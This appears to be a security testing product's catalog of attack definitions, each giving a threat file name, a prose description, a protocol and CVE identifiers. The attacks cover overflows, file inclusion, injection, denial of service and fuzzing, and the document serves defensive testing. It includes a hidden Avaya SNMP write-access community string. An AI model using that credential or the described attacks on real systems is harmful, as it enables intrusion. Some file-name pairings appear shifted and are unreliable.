Executive Description:	Zenturi ProgramChecker ActiveX Control Fill Method Stack Based Buffer Overflow Vulnerability (IPv6 Version)
Detailed Description:	This threat downloads a malicious web page which triggers a buffer overflow in the ProgramChecker ActiveX application, resulting in the execution arbitrary code. This threat is delivered via HTTP port 80. (IPv6 Version)
Protocol Type:	HTTP/IPv6
CVEID:	CVE-2007-3703
Threat Package:	Standard
Threat File Name:	provideo_activex_bof_IPv6.xml
Executive Description:	Provideo Camimage ISSCamControl.DLL ActiveX Control Buffer Overflow Vulnerability (IPv6 Version)
Detailed Description:	This threat downloads a malicious web page which triggers a buffer overflow in the Provideo Camimage ActiveX application, resulting in the execution arbitrary code. This threat is delivered via HTTP port 80. (IPv6 Version)
Protocol Type:	HTTP/IPv6
Threat Package:	Standard
Threat File Name:	sipbroadcastok_IPv6.xml
Executive Description:	SIPPING: Broadcast Response Code (IPv6 Version)
Detailed Description:	This threat sends out a 200 OK response to broadcast. If an implementation isn't checking for this case, it could forward it on to broadcast and overwhelm a network if flooded. (IPv6 Version)
Protocol Type:	SIP/IPv6
Threat Package:	VoIP
Threat File Name:	avaya_snmp_hidden_IPv6.xml
Executive Description:	Avaya Hidden Community String (IPv6 Version)
Detailed Description:	This threat sends an SNMP probe with the community string NoGaH\$@!. This community string is enabled in certain Avaya switches and allows read and write access. (IPv6 Version)
Protocol Type:	SNMP/IPv6
CVEID:	CVE-2002-1448
OSVDB:	12401
Threat Package:	Standard
Threat File Name:	ms00-058.xml
Executive Description:	IIS Translate F Source Disclosure
Detailed Description:	This threat takes advantage of a flaw in Microsoft's IIS that allows an attacker to show the source of a dynamic webpage. This is done by using the Translate: f capability of IIS. IIS is a webserver, and typically listens on port 80.
Protocol Type:	HTTP
CVEID:	CVE-2000-0778
OSVDB:	390
Threat Package:	Standard
Threat File Name:	kerio_mailserver_IPv6.xml
Executive Description:	Kerio Mailserver Buffer Overflow Attempt (IPv6 Version)
Detailed Description:	This threat attempts to cause a buffer overflow in Kerio Mailserver by supplying a long argument in the URL. This can be used by an attacker to cause a crash or remote code execution. Kerio Mailserver is a web application, and typically listens on port 80. (IPv6 Version)
Protocol Type:	HTTP/IPv6
CVEID:	CVE-2003-0487
OSVDB:	4954
Threat Package:	Standard
Threat File Name:	FSC20100209-21_Microsoft_Windows_SMB_Pathname_Buffer_Overflow.xml
Executive Description:	Microsoft Windows SMB Pathname Buffer Overflow
Detailed Description:	A buffer overflow vulnerability exists in Microsoft Windows Server Message Block (SMB) protocol service. The vulnerability is due to a boundary error while parsing a specially crafted SMB pathname sent to the server. Remote authenticated attackers can exploit this vulnerability by sending the crafted pathname to the target system. Successful exploitation would allow for arbitrary code injection and execution with the privileges of the server process. Code injection that does not result in execution could terminate the application due to memory corruption and result in a Denial of Service condition.

Protocol Type:	SMB
CVEID:	CVE-2010-0020
Threat Package:	Standard
Threat File Name:	TSL20120814-03_Microsoft_Internet_Explorer_Layout_Use_After_Free_IPv6.xml
Executive Description:	Microsoft Internet Explorer Layout Use After Free(IPv6_Version)
Detailed Description:	A use after free vulnerability exists in the way Microsoft Internet Explorer handles certain layout objects. The vulnerability is due to improper access of uninitialized or deleted objects. A remote attacker could exploit this vulnerability by enticing a user to open a specially crafted web page. Successful exploitation could result in arbitrary code execution in the context of the currently logged in user.
Protocol Type:	IPv6,HTTP,HTTPS
CVEID:	CVE-2012-1526
OSVDB:	84595
Threat File Name:	TSL20140428-01_Microsoft_Internet_Explorer_CVE-2014-1776_Use_After_Free.xml
Executive Description:	Microsoft Internet Explorer CVE-2014-1776 Use After Free
Detailed Description:	A code execution vulnerability exists in Internet Explorer. The vulnerability is due to improperly accessing an object in memory. A remote attacker could exploit this vulnerability by enticing the target user to open a malicious web page. In the case of successful exploitation, arbitrary attacker code would be executed in the security context of the target user. This vulnerability is being actively exploited in the wild.
Protocol Type:	HTTP,HTTPS
CVEID:	CVE-2014-1776
Threat File Name:	TSL20121011-06_Mozilla_Firefox_Cross_Domain_Information_Disclosure_IPv6.xml
Executive Description:	Mozilla Firefox Cross Domain Information Disclosure
Detailed Description:	An information disclosure vulnerability exists in Mozilla Firefox. The vulnerability is due to a design weakness when handling a cross domain object. A remote attacker can exploit the vulnerability by enticing a user to open a specially crafted web page or an email containing crafted content. Successful exploitation could result the information disclosure.
Protocol Type:	IPv6,HTTP,HTTPS,IMAP,POP3,SMTP
CVEID:	CVE-2012-4192
OSVDB:	86126
Threat File Name:	TSL20141111-24_Microsoft_Windows_SChannel_Denial_Of_Service.xml
Executive Description:	Microsoft Windows SChannel Denial Of Service
Detailed Description:	A denial of service vulnerability exists in Microsoft SChannel. The vulnerability is due to improper processing of specially crafted packets that leads to a denial of service. A remote, unauthenticated attacker can exploit this vulnerability by sending specially crafted packets to the target machine. Successful exploitation could result in a denial of service condition. Tester should set variable \$destPort to 443 before test.
Protocol Type:	TLS/SSL/HTTPS/SMTP/SMTPS
CVEID:	CVE-2014-6321
OSVDB:	114506
Threat File Name:	tbarcode_activex_overwrt_IPv6.xml
Executive Description:	TEC-IT TBarCode OCX ActiveX Remote Arbitrary File Overwrite Vulnerability (IPv6 Version)
Detailed Description:	This threat downloads a malicious web page which triggers a flaw in TBarCode OCX ActiveX Component allowing it to overwrite any file on the victim system. this threat is delived via HTTP port 80. (IPv6 Version)
Protocol Type:	HTTP/IPv6
CVEID:	CVE-2007-3233
Threat Package:	Standard
Threat File Name:	FSC20041029-01_Linux_Kernel_Firewall_Logging_Denial_of_Service.xml
Executive Description:	Linux Kernel Firewall Logging Denial of Service
Detailed Description:	A vulnerability exists in the way the Linux kernel 2.6 firewall logs TCP packets. The vulnerability results from improper validation of the TCP header when a TCP segment matches a firewall rule. This vulnerability can allow a remote attacker to cause complete kernel failure on the target system by sending a specially crafted, and possibly spoofed, TCP packet.
Protocol Type:	BRE
CVEID:	CVE-2004-0816
Threat Package:	Standard
Threat File Name:	TSL20140307-09_Apache_Struts_ParametersInterceptor_ClassLoader_Security_Bypass.xml
Executive Description:	Apache Struts ParametersInterceptor ClassLoader Security Bypass
Detailed Description:	A security bypass vulnerability exists in Apache Struts. The vulnerability is due to inadequate validation of data processed by the ParameterInterceptor allowing for manipulation of the ClassLoader. A remote attacker could exploit this vulnerability by providing a class parameter in a request. Successful exploitation could lead to a security bypass condition due to ClassLoader manipulation.
Protocol Type:	HTTP,HTTPS
CVEID:	CVE-2014-0094
Threat File Name:	FSC20110412-01_Microsoft_Office_Excel_RealTimeData_Record_Memory_Corruption_IPv6.xml
Executive Description:	Microsoft Office Excel RealTimeData Record Memory Corruption(IPv6 Version)
Detailed Description:	A code execution vulnerability exists in Microsoft Office Excel 2002. The vulnerability is due to the way the vulnerable product parses RealTimeData records in Excel documents, allowing for memory corruption. Remote attackers can exploit this vulnerability by enticing target users to open a malicious Excel file, potentially causing arbitrary code to be injected and executed in the security context of the currently logged on user. In an attack scenario, where arbitrary code is injected and executed on the target machine, the behaviour of the target is dependent on the intention of the malicious code. If such an attack is not executed successfully, the vulnerable application may terminate abnormally.
Protocol Type:	IPV6,HTTP,HTTPS,IMAP,POP3,SMTP,SMB/CIFS
CVEID:	CVE-2011-0101
Threat File Name:	TSL20120621-10_Cisco_AnyConnect_VPN_Client_Software_Downgrade_IPv6.xml
Executive Description:	Cisco AnyConnect VPN Client Software Downgrade(IPv6)

Detailed Description:	A software downgrade flaw exists in Cisco AnyConnect VPN client. The vulnerability is due to the WebLaunch component failing to properly validate the version of the vpndownloader.exe program when the client is deployed from the VPN headend. By enticing a user to open a specially crafted web page, a remote attacker can exploit this vulnerability to install an older version of vpndownloader.exe which is vulnerable to previously patch issues. Successful exploitation can result in arbitrary code execution in the context of the currently logged in user.
Protocol Type:	IPv6,HTTP,HTTPS
CVEID:	CVE-CVE-2012-2494
OSVDB:	83159
Threat File Name:	FSC20060508-08_Sophos_Anti-Virus_CAB_File_Invalid_Folder_Count_Heap_Overflow.xml
Executive Description:	Sophos Anti-Virus CAB File Invalid Folder Count Heap Overflow
Detailed Description:	There exists a heap overflow vulnerability in Sophos Anti-Virus as well as many other Sophos products that embed it. The vulnerability exists in the component that handles Microsoft CAB compressed files. A remote unauthenticated attacker can exploit the vulnerability causing a denial of service condition or the execution of arbitrary code within the security context of the Anti-Virus service, normally System.
Protocol Type:	HTTP
CVEID:	CVE-2006-0994
Threat Package:	Standard
Threat File Name:	smtp_vrfy_IPv6.xml
Executive Description:	SMTP Probe VRFY all (IPv6 Version)
Detailed Description:	This threat sends the VRFY all statement to an SMTP server. This command is used to enumerate all email addresses belonging to group all, if it exists. (IPv6 Version)
Protocol Type:	SMTP/IPv6
CVEID:	CVE-1999-0531
OSVDB:	12551
Threat Package:	Standard
Threat File Name:	ventrilo_dos.xml
Executive Description:	Ventrilo VoIP Denial of Service
Detailed Description:	This threat sends a malformed UDP packet that causes the Voice Over IP application Ventrilo to crash. This threat sends the malformed UDP packet to port 3784.
Protocol Type:	Proprietary
CVEID:	CVE-2005-2719
OSVDB:	18946
Threat Package:	Standard
Threat File Name:	winproxy_bof_host.xml
Executive Description:	WinProxy 6.0 Remote Stack/SEH Overflow Exploit
Detailed Description:	This threat sends a crafted Host field within an HTTP query causing a buffer overflow, and arbitrary execution. WinProxy is an HTTP proxy that typically listens on port 80.
Protocol Type:	HTTP
CVEID:	CVE-2005-4085
OSVDB:	22238
Threat File Name:	divxplayer_dos_IPv6.xml
Executive Description:	DivX Web Player NPDIVX32.DLL ActiveX Control Remote Denial of Service Vulnerability (IPv6 Version)
Detailed Description:	This threat uses a malicious web server to cause a denial of service in Internet Explorer 7 by invoking the GoWindowed method for the DivXBrowserPlugin ActiveX object (npdivx32.dll). Internet Explorer is web browser that typically connects to web servers via port 80. (IPv6 Version)
Protocol Type:	HTTP/IPv6
CVEID:	CVE-2007-0429
Threat Package:	Standard
Threat File Name:	FSC20060704-01_Microsoft_Internet_Explorer_HHCtrl_ocx_Image_Property_Heap_Corruption.xml
Executive Description:	Microsoft Internet Explorer HHCtrl.ocx Image Property Heap Corruption
Detailed Description:	There exists a heap memory corruption vulnerability in the Microsoft Internet Explorer browser. The flaw is caused by an improper check during processing of a specially crafted Image property of a specific HTML Help Control ActiveX Object. An attacker can exploit this vulnerability to inject and execute arbitrary code in the security context of the currently logged in user.
Protocol Type:	HTTP
CVEID:	CVE-2006-3357
Threat Package:	Standard
Threat File Name:	psnews_rfi_IPv6.xml
Executive Description:	PsNews 1.1 (show.php newspath) Local File Inclusion (IPv6 Version)
Detailed Description:	This threat sends a HTTP request for a URL that will allow for arbitrary code to be executed on the affected server. PsNews is a web application that typically listens on port 80. (IPv6 Version)
Protocol Type:	HTTP/IPv6
Threat Package:	Standard
Threat File Name:	FSC20070921-19_CA_BrightStor_ARCServe_Backup_LGServer_Authentication_Username_Overflow_IPv6.xml
Executive Description:	CA BrightStor ARCServe Backup LGServer Authentication Username Overflow (IPv6 Version)
Detailed Description:	A stack-based buffer overflow vulnerability exists in CA BrightStor ARCServe Backup for Laptops and Desktops. The vulnerability is due to insufficient bounds checking in the LGServer process while performing authentication of users. A remote unauthenticated attacker could exploit this vulnerability by sending an overly large user name to the vulnerable service, and could inject and execute arbitrary code with System privileges. (IPv6 Version)
Protocol Type:	SSDP/IPv6
CVEID:	CVE-2007-5003
Threat Package:	Standard
Threat File Name:	phpmymanga_rfi.xml
Executive Description:	PhpMyManga Remote File Include Vulnerability

Detailed Description:	This threat sends a crafted url string that will allow for arbitrary code to be executed on the affected server. PhpMyManga is a web application that typically listens on port 80
Protocol Type:	HTTP
Threat Package:	Standard
Threat File Name:	upnpdos.xml
Executive Description:	MS05-047 UMPNPMGR Stack Buffer Overflow Vulnerability
Detailed Description:	This threat is a denial of service against the UMUPNPMGR.dll. This attack uses the SMB port on Microsoft systems, which typically listens on port 445.
Protocol Type:	SMB
CVEID:	CVE-2005-2120
OSVDB:	18830
Threat Package:	Standard
Threat File Name:	TSL20160122-07_Schneider_Electric_ProClima_FlBookView_SetValidationRule_Memory_Corruption.xml
Executive Description:	Schneider Electric ProClima FlBookView SetValidationRule Memory Corruption
Detailed Description:	A memory corruption vulnerability has been reported in Schneider Electric ProClima. The vulnerability is due to a buffer overrun when the SetValidationRule() method of the FlBookView ActiveX control is called. A remote, unauthenticated attacker could exploit this vulnerability by enticing a victim user to browse to a maliciously crafted web page. Successful exploitation could lead to arbitrary code execution under context of the user.
Protocol Type:	HTTPS, HTTP
CVEID:	CVE-2015-7918
Threat File Name:	TSL20140611-03_Microsoft_Internet_Explorer_CVE-2014-1795_Memory_Corruption.xml
Executive Description:	Microsoft Internet Explorer CVE-2014-1795 Memory Corruption
Detailed Description:	A code execution vulnerability exists in Internet Explorer. The vulnerability is due to improperly accessing an object in memory. A remote attacker could exploit this vulnerability by enticing the target user to open a malicious web page. In the case of successful exploitation, arbitrary code would be executed in the security context of the target user.
Protocol Type:	HTTP, HTTPS
CVEID:	CVE-2014-1795
OSVDB:	107871
Threat File Name:	FSC20091210-01_Symantec_Multiple_Products_VRTSweb_Code_Execution.xml
Executive Description:	Symantec Multiple Products VRTSweb Code Execution
Detailed Description:	A code execution vulnerability has been reported in multiple Symantec products that embed the VERITAS Web Server (VRTSweb) component. The flaw is due to a design weakness when processing requests sent to a target host on port TCP/14300. A remote unauthenticated attacker can exploit this vulnerability by sending a crafted request to the target server. Successful exploitation could result in execution of arbitrary code within the security context of the SYSTEM user. The behaviour of the target is dependent on the intention of the malicious code.
Protocol Type:	Symantec Veritas Proprietary Admin Protocol
CVEID:	CVE-2009-3027
Threat Package:	Standard
Threat File Name:	TSL20130430-08_IBM_SPSS_SamplePower_clsizer_ActiveX_Control_Buffer_Overflow_IPv6.xml
Executive Description:	IBM SPSS SamplePower clsizer ActiveX Control Buffer Overflow [IPv6, Version]
Detailed Description:	A heap-based buffer overflow vulnerability exists in IBM SPSS SamplePower. The vulnerability is due to a lack of boundary checking on the user-supplied TabCaption value in the clsizer ActiveX control. A remote, unauthenticated attacker can exploit this vulnerability by enticing a user to visit a malicious website. Successful exploitation could allow arbitrary code execution in the context of the target user.
Protocol Type:	IPv6, HTTP, HTTPS
CVEID:	CVE-2012-5946
OSVDB:	92845
Threat File Name:	TSL20110722-04_Apple_Safari_WebKit_innerHTML_Double_Free_Memory_Corruption.xml
Executive Description:	Apple Safari WebKit innerHTML Double Free Memory Corruption
Detailed Description:	A code execution vulnerability exists in Apple Safari. The vulnerability is due to a use-after-free error when clearing a body or iframe element dynamically using script code. A remote attacker can exploit this vulnerability by enticing a target user to open a maliciously crafted web page. In attack scenarios where code execution is successful the behaviour of the target machine would depend entirely on the intention of the injected code, which would run within the security context of the logged on user. In situations where code execution is not successful, the vulnerable application may terminate abnormally.
Protocol Type:	HTTP, HTTPS
CVEID:	CVE-2011-0221
Threat File Name:	icblogger_sql.xml
Executive Description:	ICBlogger Devam.ASP SQL Injection Vulnerability
Detailed Description:	This threat sends a crafted HTTP get request that contains malicious SQL commands to the affected server allowing for an attacker to steal or alter user credentials. ICBlogger is a web application that typically listens on port 80.
Protocol Type:	HTTP
Threat Package:	Standard
Threat File Name:	TSL20131212-06 EMC_CMCNE_inmservlets_war_csv_page_jsp_Information_Disclosure_IPv6.xml
Executive Description:	EMC CMCNE inmservlets.war csv_page.jsp Information Disclosure (IPv6 Version)
Detailed Description:	An information disclosure vulnerability exists in EMC Connectrix Manager Converged Network Edition. The vulnerability is due to lack of authentication and insufficient input validation in the csv_page.jsp page of inmservlets.war when processing HTTP requests. By sending crafted HTTP requests to the target system, a remote unauthenticated attacker can leverage this vulnerability to view the contents of arbitrary files on a target system.
Protocol Type:	HTTP, HTTPS
CVEID:	CVE-2013-6810
OSVDB:	101210
Threat File Name:	foing_cmi_b_IPv6.xml

Executive Description:	Foing 0.7.0 (phpBB) Remote File Inclusion Vulnerability (IPv6 Version)
Detailed Description:	This threat send a crafted HTTP query containing a path to an arbitrary file which is included by the server and executed via song.phps "phpbb_root_path" paramater. Foing is a web based application with typically listens on port 80. (IPv6 Version)
Protocol Type:	HTTP/IPv6
Threat Package:	Standard
Threat File Name:	FSC20080520-13_Borland_InterBase_Database_Message_Handling_Buffer_Overflow.xml
Executive Description:	Borland InterBase Database Message Handling Buffer Overflow
Detailed Description:	There exists a buffer overflow vulnerability in Borland InterBase Server. The vulnerability is due to lack of boundary protection while processing Connect requests (Opcode 0x01). A remote unauthenticated attacker can send a crafted request to the target host to exploit this vulnerability. Successful attack could allow for arbitrary code being injected and executed with the privileges of the affected service, which is normally System on Windows platforms. An attack targeting this vulnerability can result in the injection and execution of code. If code execution is successful, the behaviour of the target will depend on the intention of the attacker. Successful attack could allow for arbitrary code being executed with the privileges of the affected service, which is normally System on Windows platforms. In the case of an unsuccessful code execution attack, the affected service will terminate resulting in a denial of service condition.
Protocol Type:	IB
Threat Package:	Standard
Threat File Name:	cisco_catalyst_3500.xml
Executive Description:	Cisco Catalyst Remote Arbitrary Command
Detailed Description:	This threat sends a HTTP request which corresponds to a command on a Cisco Catalyst 3500XL. Can be used to make unauthorized changes to configuration if no enable password is set.
Protocol Type:	HTTP
CVEID:	CVE-2000-0945
OSVDB:	444
Threat Package:	Standard
Threat File Name:	TSL20150908-38_Microsoft_Internet_Explorer_CVE_2015_2487_Memory_Corruption_IPv6.xml
Executive Description:	Microsoft Internet Explorer CVE-2015-2487 Memory Corruption IPv6 version
Detailed Description:	A memory corruption vulnerability exists in Microsoft Internet Explorer. The vulnerability is due to an error while handling certain objects when processing HTML and script code. A remote attacker could exploit this vulnerability by enticing a user to open a specially crafted web page. Successful exploitation could lead to arbitrary code execution in the security context of the target user.
Protocol Type:	HTTP/HTTPS, IPv6
CVEID:	CVE-2015-2487
Threat File Name:	apple_safari_fmtstr_IPv6.xml
Executive Description:	Apple Mac OS X Safari Format String Vulnerability (IPv6 Version)
Detailed Description:	This threat uses a http server reply containing format string characters that may cause vulnerable Safari clients to crash. Apple Safari is a web browser that typically connects to web servers on port 80. (IPv6 Version)
Protocol Type:	HTTP/IPv6
CVEID:	CVE-2007-0644
Threat Package:	Standard
Threat File Name:	TSL20170515-07_HPE_Intelligent_Management_Center_dbman_RestartDB_Command_Injection_IPv6.xml
Executive Description:	HPE Intelligent Management Center dbman RestartDB Command Injection (IPv6 Version)
Detailed Description:	A command injection vulnerability has been reported in the dbman component of HPE Intelligent Management Center. The vulnerability exists due to improper validation of the dbInstance parameter when handling RestartDB commands. A remote, unauthenticated attacker can exploit the vulnerability by sending a maliciously crafted packet to the target server. Successful exploitation of this vulnerability can lead to remote command execution in the context of SYSTEM or root.
Protocol Type:	HP IMC DBMan Protocol, IPv6
CVEID:	CVE-2017-5816
Threat File Name:	x86NOOPtcpSGI_IPv6.xml
Executive Description:	TCP x86 NOOP Packet Variant SGI (IPv6 Version)
Detailed Description:	This threat sends a TCP packet that appears to be part of an existing valid connection with a NOOP sled in it. A NOOP sled is used by shellcode to insure that the injected code will execute. Unfortunately, there are many other reasons why a NOOP might appear in traffic. This threat utilized equivalent assembly instructions to the standard NOOP instruction. (IPv6 Version)
Protocol Type:	TCP/IPv6
Threat Package:	Standard
Threat File Name:	troforum_rfi.xml
Executive Description:	TROforum 0.1 (admin.php site_url) Remote File Inclusion Vulnerability
Detailed Description:	This threat sends a crafted url string that will allow for arbitrary code to be executed on the affected server. TROforum is a web application that typically listens on port 80.
Protocol Type:	HTTP
CVEID:	CVE-2007-2937
Threat Package:	Standard
Threat File Name:	TSL20140416-18_Oracle_Data_Quality_DscXB_onloadstatechange_Untrusted_Pointer_Dereference.xml
Executive Description:	Oracle Data Quality DscXB onloadstatechange Untrusted Pointer Dereference
Detailed Description:	A remote code execution vulnerability exists in Oracle Data Profiling and Data Quality for Data Integrator. The vulnerability is due to dereferencing an arbitrary pointer within the TSSL2.DscXB.XB ActiveX control. A remote attacker can exploit this vulnerability by enticing a user to open a malicious web page. Successful exploitation could result in arbitrary code execution in the context of the currently logged on user.
Protocol Type:	HTTP, HTTPS
CVEID:	CVE-2014-2417
OSVDB:	105820
Threat File Name:	ms05-033_telnet_IPv6.xml
Executive Description:	MS05-033 Windows Telnet Environment Variable Disclosure (IPv6 Version)

Detailed Description:	This threat attempts to lift every environment variable available with Microsoft Windows XP via the telnet client. The telnet client can caused to launch via a hyperlink embedded in a web page or through social engineering causing the user to launch it. This can be used to learn about other potential vulnerabilities in the user's system. Telnet typically listens on port 23. This threat is a client attack that comes from the virtual server. (IPv6 Version)
Protocol Type:	Telnet/IPv6
CVEID:	CVE-2005-1205
OSVDB:	17303
Threat Package:	Standard
Threat File Name:	TSL20140716-17_Oracle_Business_Intelligence_Mobile_App_Designer_Information_Disclosure.xml
Executive Description:	Oracle Business Intelligence Mobile App Designer Information Disclosure
Detailed Description:	An information disclosure vulnerability exists in Oracle Business Intelligence Mobile App Designer. The vulnerability is due to insufficient input validation of certain parameters, which can allow an attacker to traverse the file system and access files. A remote, unauthenticated attacker could exploit this vulnerability by sending a crafted request to the vulnerable application. Successful exploitation could result in the disclosure of arbitrary files. Tester should turn variable \$destPort into 7001 before test.
Protocol Type:	HTTP
CVEID:	CVE-2014-4249
OSVDB:	109086
Threat File Name:	FSC20100830-03_RealNetworks_RealPlayer_FLV_Parsing_Two_Integer_Overflow_Vulnerabilities.xml
Executive Description:	RealNetworks RealPlayer FLV Parsing Two Integer Overflow Vulnerabilities
Detailed Description:	Two remote code execution vulnerabilities exists in RealNetworks RealPlayer. The vulnerabilities are due to two integer overflow errors while parsing the ECMA Array and the Strict Array type data in FLV files. An attacker can leverage this vulnerability by enticing a target user to open a crafted IVR file. Successful exploitation would allow an attacker to execute arbitrary code in the security context of the logged in user. An unsuccessful attack could cause an abnormal termination of the affected product.
Protocol Type:	HTTP,HTTPS,IMAP,POP3,SMB/CIFS,SMTP,NFS
CVEID:	CVE-2010-3000
Threat Package:	Standard
Threat File Name:	cfengine_overflow_IPv6.xml
Executive Description:	Cfengine Overflow Attack (IPv6 Version)
Detailed Description:	This threat exploits a buffer overflow present in the Cfengine application. This allows an attacker to run remote code under the context of the service. Cfengine typically listens on port 5308. (IPv6 Version)
Protocol Type:	Proprietary/IPv6
CVEID:	CVE-2004-1701
OSVDB:	14664
Threat Package:	Standard
Threat File Name:	FSC20090127-05_MW6_Technologies_Barcode_dll_ActiveX_Control_Buffer_Overflow.xml
Executive Description:	MW6 Technologies Barcode.dll ActiveX Control Buffer Overflow
Detailed Description:	There exists a heap-based buffer overflow vulnerability in MW6 Technologies Barcode.dll ActiveX Control. The vulnerability is a boundary error while processing user input. A remote attacker can exploit this vulnerability by enticing the user to open a crafted html file. Successful exploitation may lead to arbitrary code execution in the security context of the logged in user. In an attack case where code injection is successful, the behaviour of the target is entirely dependent on the intended function of the injected code. The code in such a case would execute within the security context of the logged in user. In an attack case where code injection is not successful, the affected process will terminate abnormally.
Protocol Type:	HTTP
CVEID:	CVE-2009-0298
Threat Package:	Standard
Threat File Name:	FSC20060522-01_Novell_eDirectory_iMonitor_NDS_Server_Buffer_Overflow_IPv6.xml
Executive Description:	Novell eDirectory iMonitor NDS Server Buffer Overflow (IPv6 Version)
Detailed Description:	There exists a stack based buffer overflow vulnerability in Novell eDirectory iMonitor NDS service. The vulnerability is caused due to a failure of the application checking the boundaries of user supplied data in an incoming HTTP requests. An unauthenticated remote attacker may exploit the vulnerability to cause a denial of service condition or inject and execute arbitrary code in the security context of the NDS service, normally System. (IPv6 Version)
Protocol Type:	HTTP/IPv6
CVEID:	CVE-2006-2496
Threat Package:	Standard
Threat File Name:	fuzz-SMTP-HELO_Parameter_tick.xml
Executive Description:	Fuzz SMTP HELO verb with `
Detailed Description:	Fuzzes the SMTP HELO Parameter with ` from size of 0 to a size of 4096.
Protocol Type:	SMTP
Threat Package:	Fuzzing
Threat File Name:	fuzz-SMTP-HELO_Parameter_ltgt.xml
Executive Description:	Fuzz SMTP HELO verb with <>
Detailed Description:	Fuzzes the SMTP HELO Parameter with <> from size of 0 to a size of 4096.
Protocol Type:	SMTP
Threat Package:	Fuzzing
Threat File Name:	TSL20120622-02_Apple_QuickTime_TeXML_Transform_Attribute_Parsing_Buffer_Overflow.xml
Executive Description:	Apple QuickTime TeXML Transform Attribute Parsing Buffer Overflow
Detailed Description:	A stack buffer overflow vulnerability exists in Apple QuickTime. The vulnerability is due to insufficient validation of a string length in QuickTime3GPP.gtx when processing the transform attribute inside QuickTime TeXML files. A remote attacker can exploit this vulnerability by enticing a user to download and process a specially crafted TeXML file with the vulnerable software. This can lead to code execution in the context of the vulnerable application.
Protocol Type:	HTTP,HTTPS,IMAP,POP3,SMTP,SMB/CIFS
CVEID:	CVE-2012-0663
OSVDB:	81934

Threat File Name:	TSL20150916-07_Avira_Management_Console_Server_HTTP_Header_Processing_Heap_Buffer_Overflow.xml
Executive Description:	Avira Management Console Server HTTP Header Processing Heap Buffer Overflow
Detailed Description:	A heap buffer overflow vulnerability has been reported in Avira Management Console Server. The vulnerability exists in the way Update Manager Service handles overly long HTTP headers. A remote unauthenticated attacker could exploit this vulnerability by sending crafted HTTP requests to the server. Successful exploitation could lead to arbitrary code execution in the security context of System. Tester should set the variable \$destPort to 7080 before test.
Protocol Type:	HTTP
Threat File Name:	iprimal_cmi_IPv6.xml
Executive Description:	IPrimal Forums Index.PHP Authentication Bypass Vulnerability (IPv6 Version)
Detailed Description:	This threat sends a crafted url string that will allow for arbitrary code to be executed on the affected server.iPrimal Forums is a web application that typically listens on port 80. (IPv6 Version)
Protocol Type:	HTTP/IPv6
CVEID:	CVE-2006-5787
Threat Package:	Standard
Threat File Name:	tikiwiki_xss.xml
Executive Description:	TikiWiki Cross-Site Scripting Vulnerability
Detailed Description:	allows an attacker to inject arbitrary javascript code which is then executed by the web server. TikiWiki is a web application that typically listens on port 80
Protocol Type:	HTTP
CVEID:	CVE-2006-2635
Threat Package:	Standard
Threat File Name:	TSL20131223-02_Nagios_core_CGI_Process_cgivars_Off-By-One.xml
Executive Description:	Nagios core CGI Process_cgivars Off-By-One
Detailed Description:	There exists an Off-By-One flaw in Nagios Core. The problem is caused by improper boundary check when validating the parameters passed to the application. A remote authenticated attacker could exploit this vulnerability by sending a request with a crafted long parameter value. Successful exploitation could result in the CGI crash.
Protocol Type:	HTTP,HTTPS
CVEID:	CVE-2013-7108
Threat File Name:	noahsclassifieds_cmi.xml
Executive Description:	Noah's classifieds Remote Code Execution Vulnerability
Detailed Description:	This threat sends an HTTP query containing a shell command as well as a remote file to be included and executed by the server. Noah's classifieds is a web application which typically listens on port 80.
Protocol Type:	HTTP
Threat File Name:	FSC20040721-01_PHP_strip_tags()_Bypass_Vulnerability.xml
Executive Description:	PHP strip_tags() Bypass Vulnerability
Detailed Description:	A vulnerability exists in the HTML tag filtering method of PHP. PHP does not properly filter tags containing a null byte, allowing potentially unsafe tags to be passed on to further processing. This vulnerability allows an attacker to inject malicious script and use the vulnerable PHP in a cross-site scripting attack.
Protocol Type:	HTTP
CVEID:	CVE-2004-0595
Threat Package:	Standard
Threat File Name:	FSC20070814-12_Microsoft_Internet_Explorer_Vector_Markup_Language_VGX_Buffer_Overflow.xml
Executive Description:	Microsoft Internet Explorer Vector Markup Language VGX Buffer Overflow
Detailed Description:	A buffer overflow vulnerability exists in the Vector Markup Language (VML) implementation in Microsoft Windows. The vulnerability is caused due to an integer underflow in the VML implementation (vgx.dll) when receiving compressed HTTP response. Remote attackers can exploit this vulnerability by enticing the target user to visit a malicious webpage, to cause a heap-based buffer overflow and possibly inject and execute arbitrary code on the target system with the privileges of the currently logged in user.
Protocol Type:	HTTP
CVEID:	CVE-2007-1749
Threat Package:	Standard
Threat File Name:	oracle_reports_file.xml
Executive Description:	Oracle Reports Arbitrary File Reading
Detailed Description:	This threat takes advantage of a flaw in Oracle Reports which allows the attacker to view portions of any file on the server. Oracle reports uses the HTTP protocol and typically listens on port 7778.
Protocol Type:	HTTP
CVEID:	CVE-2005-2378
OSVDB:	18117
Threat Package:	Standard
Threat File Name:	fuzz-TFTP_RRQ_OCTET_formats.xml
Executive Description:	TFTP Fuzzer fuzz-TFTP_RRQ_OCTET_formats.xml
Detailed Description:	Fuzzes Mode field by appending %s to octet with ranging sizes. OpCode is RRQ.
Protocol Type:	TFTP
Threat Package:	Fuzzing
Threat File Name:	browsedialog_msie7_dos_IPv6.xml
Executive Description:	rowseDialog Class (ccrpbds6.dll) multiple methods Denial of Service Vulnerability (IPv6 Version)
Detailed Description:	This threat use a maliciously crafted html page to trigger a denial of service condition due to the vulnerable ActiveX "BrowseDialog Class" Control in Internet Explorer. NOTE This threat is related to CVE-2007-0371, however the exploit has modified. This affects the BrowseDialog Class ActiveX Control using Internet Explorer Web Browser clients that typically connect to the http port 80. (IPv6 Version)
Protocol Type:	HTTP/IPv6
CVEID:	CVE-2007-0371
Threat Package:	Standard

Threat File Name:	quicktime_rtsp_IPv6.xml
Executive Description:	Quicktime RTSP Handler Stack Overflow (IPv6 Version)
Detailed Description:	This attack sends a malformed page that causes Apple's Quicktime player to overwrite its stack. This can lead to remote code execution and control of the users computer. This attack would typically come from a malicious web site listening on port 80. (IPv6 Version)
Protocol Type:	HTTP/IPv6
CVEID:	CVE-2007-0015
Threat Package:	Standard
Threat File Name:	FSC20060214-04_Microsoft_Windows_Media_Player_BMP_File_Handling_Buffer_Overflow_Vulnerability_IPv6.xml
Executive Description:	Microsoft Windows Media Player BMP File Handling Buffer Overflow Vulnerability (IPv6 Version)
Detailed Description:	There exists a vulnerability in the BMP image processing component of Microsoft Windows Media Player. The vulnerability exists due to the failure of the application to properly validate the value of a field in the BMP image, leading to a buffer overflow. An attacker can exploit this vulnerability by enticing a user to open a malicious BMP image with the affected application, causing the execution of arbitrary code in the security context of the current user. (IPv6 Version)
Protocol Type:	HTTP/IPv6
